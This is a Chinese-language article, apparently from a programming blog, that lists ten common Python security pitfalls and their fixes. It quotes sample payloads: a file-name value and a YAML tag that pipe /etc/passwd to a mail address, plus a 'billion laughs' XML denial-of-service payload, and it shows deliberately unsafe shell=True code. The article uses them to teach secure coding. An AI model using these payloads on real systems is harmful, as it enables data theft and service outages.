详细总结Python常见的安全问题


Posted in Python onMay 21, 2021

一、输入注入

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。

修复:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

二、assert 语句(Assert statements)

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

现在,默认情况下,Python 以 __debug__ 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin

修复:

仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

三、计时攻击(Timing attacks)

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能在 HTTP Web 服务器上编写计时攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复:

使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

四、临时文件(Temporary files)

要在 Python 中创建临时文件,通常使用 mktemp() 函数生成一个文件名,然后使用该名称创建一个文件。 这是不安全的,因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法,则最新版本的 Python 会抛出运行警告。

修复

如果需要生成临时文件,请使用 tempfile 模块并使用 mkstemp。

五、使用 yaml.load

引用 PyYAML 文档:

警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的 Python 项目 Ansible 中这个例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

修复:

总是不优先使用 yaml.safe_load,除非你有一个非常好的理由。

六、解析 XML(Parsing XML)

如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 DoS 风格(旨在使系统崩溃而不是泄露数据),这些攻击十分常见,特别是在解析外部(即不可信任的)XML 文件时。

其中有个「billion laughs」,因为他的 payload 通常包含很多(十亿)「lols」。基本上,这个原理是可以在 XML 中使用参照实体,所以当解析器将这个 XML 文件加载到内存中时,它会消耗数 G 大小的内存(RAM)。

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻击使用外部实体扩展。XML 支持从外部 URL 引用实体,XML解析器通常会毫无疑问地获取并加载该资源。攻击者可以规避防火墙并访问受限制的资源,因为所有请求都是由内部可信的 IP 地址创建的,而不是来自外部。

需要考虑的另一种情况是依赖的第三方软件包需要解码 XML ,例如配置文件、远程 API。你甚至可能不知道某个依赖关系会将这些类型的攻击置之不理。

修复:

使用 defusedxml 替换标准库模块,它增加了针对这些类型攻击的安全防护。

七、受污染的 site-packages 或 import 路径

Python 的 import 系统非常灵活,当你想要为测试写补丁或重载核心功能时,这是非常棒的。

但这却是 Python 中最大的安全漏洞之一。

安装第三方软件包,无论是在虚拟环境中还是全局(通常不鼓励)都会让你看到这些软件包中的安全漏洞。有一些发布到 PyPi 的软件包与流行的软件包具有相似的名称,但是却执行了任意代码。

需要考虑的另一种情况是依赖的依赖,他们可能包含漏洞,他们也可以通过导入系统覆盖Python 中的默认行为。

修复

看看 http://PyUp.io 及其安全服务,为所有应用程序使用虚拟环境,并确保全局的 site-packages 尽可能干净,检查包签名。

八、序列化 Pickles

反序列化 pickle 数据和 YAML 一样糟糕。Python 类可以声明一个 __reduce__ 方法,该方法返回一个字符串,或一个可调用的元组以及使用 pickle 序列化时调用的参数。攻击者可以使用它来包含对其中一个子进程模块的引用,以在主机上运行任意命令。

修复

切勿使用 pickle 反序列化不受信任或未经身份验证来源的数据。改用另一种序列化模式(如JSON)。

九、使用系统 Python 运行时并且不修复它

大多数 POSIX 系统都自带有一个 Python 2 版本(通常是旧版本)。

有时候 Python(即 CPython 是用 C 语言编写的) 解释器本身存在漏洞, C 中的常见安全问题与内存分配有关,所以大多是缓冲区溢出错误,CPython 多年来一直存在一些溢出漏洞,每个漏洞都在后续版本中进行了修复。也就是说,如果及时升级 python 运行时,就很安全。

修复:

为生产应用程序安装最新版本的 Python,并及时安装修复更新!

十、不修复依赖关系

类似于不修补 python 运行时,还需要定期修补依赖关系。

修复

使用像 PyUp.io 这样的服务来检查更新,向应用程序提出 pr,并运行测试以保持软件包是最新的。

到此这篇关于详细总结Python常见的安全问题的文章就介绍到这了,更多相关Python安全问题内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python进阶教程之文本文件的读取和写入
Aug 29 Python
Python函数嵌套实例
Sep 23 Python
更改Python命令行交互提示符的方法
Jan 14 Python
Python中生成Epoch的方法
Apr 26 Python
python解析html提取数据,并生成word文档实例解析
Jan 22 Python
python3实现windows下同名进程监控
Jun 21 Python
pycharm新建一个python工程步骤
Jul 16 Python
ubuntu上安装python的实例方法
Sep 30 Python
Python3实现zip分卷压缩过程解析
Oct 09 Python
WxPython实现无边框界面
Nov 18 Python
django formset实现数据表的批量操作的示例代码
Dec 06 Python
pandas数据分组groupby()和统计函数agg()的使用
Mar 04 Python
Pycharm 如何设置HTML文件自动补全代码或标签
Python源码解析之List
Python手拉手教你爬取贝壳房源数据的实战教程
matlab xlabel位置的设置方式
浏览器常用基本操作之python3+selenium4自动化测试(基础篇3)
python 实现图与图之间的间距调整subplots_adjust
Jupyter notebook 不自动弹出网页的解决方案
You might like
php数组函数序列之in_array() 查找数组值是否存在
2011/10/29 PHP
几个实用的PHP内置函数使用指南
2014/11/27 PHP
PHP版微信第三方实现一键登录及获取用户信息的方法
2016/10/14 PHP
Yii2 中实现单点登录的方法
2018/03/09 PHP
PHP架构及原理知识点详解
2019/12/22 PHP
用js实现的抽象CSS圆角效果!!
2007/05/03 Javascript
javascript 面向对象编程 function也是类
2009/09/17 Javascript
javascript强大的日期函数代码分享
2013/09/04 Javascript
js中各种类型的变量在if条件中是true还是false
2014/07/16 Javascript
js获取字符串最后一位方法汇总
2014/11/13 Javascript
JS响应鼠标点击实现两个滑块区间拖动效果
2015/10/26 Javascript
理解javascript中DOM事件
2015/12/25 Javascript
基于jquery实现轮播特效
2016/04/22 Javascript
jQuery实现iframe父窗体和子窗体的相互调用
2016/06/17 Javascript
使用angular帮你实现拖拽的示例
2017/07/05 Javascript
Vue2.0 组件传值通讯的示例代码
2017/08/01 Javascript
使用JavaScript实现一个小程序之99乘法表
2017/09/21 Javascript
基于Node.js实现压缩和解压缩的方法
2018/02/13 Javascript
代码分析vue中如何配置less
2018/09/28 Javascript
vue实现购物车加减
2020/05/30 Javascript
antdesign-vue结合sortablejs实现两个table相互拖拽排序功能
2021/01/08 Vue.js
对于Python中RawString的理解介绍
2016/07/07 Python
多个应用共存的Django配置方法
2018/05/30 Python
Python3对称加密算法AES、DES3实例详解
2018/12/06 Python
python线程池如何使用
2020/05/28 Python
详解CSS3 rem(设置字体大小) 教程
2017/11/21 HTML / CSS
美国最大的电子宠物训练产品制造商:PetSafe
2018/10/12 全球购物
Stutterheim瑞典:瑞典高级外套时装品牌
2019/06/24 全球购物
Gibson London官网:以地道的英国男装而著称
2019/12/06 全球购物
2014年9.18纪念日演讲稿
2014/09/14 职场文书
论群众路线学习心得体会
2014/10/31 职场文书
国庆节慰问信
2015/02/15 职场文书
工作简历的自我评价
2019/05/16 职场文书
浅谈vue2的$refs在vue3组合式API中的替代方法
2021/04/18 Vue.js
Python开发之QT解决无边框界面拖动卡屏问题(附带源码)
2021/05/27 Python
PostGIS的安装与入门使用指南
2022/01/18 PostgreSQL